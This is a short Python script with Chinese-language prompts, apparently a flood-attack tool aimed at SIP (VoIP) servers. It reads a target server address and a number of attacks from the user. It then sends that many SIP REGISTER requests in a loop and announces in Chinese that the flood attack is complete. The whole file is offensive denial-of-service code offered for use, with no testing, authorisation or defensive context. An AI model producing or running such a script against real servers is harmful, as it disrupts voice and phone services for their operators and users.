import sippy

# Set the target address
target = input("请输入目标SIP服务器地址: ")

# Set flood attack parameters
num_attacks = int(input("请输入攻击次数: "))

# Create SIP register request
request = sippy.new_request('REGISTER', target)

# Send register requests
for i in range(num_attacks):
    sippy.send_request(request)
    print(f"发送注册请求 {i+1} 至 {target}")

print("洪水攻击完成 !")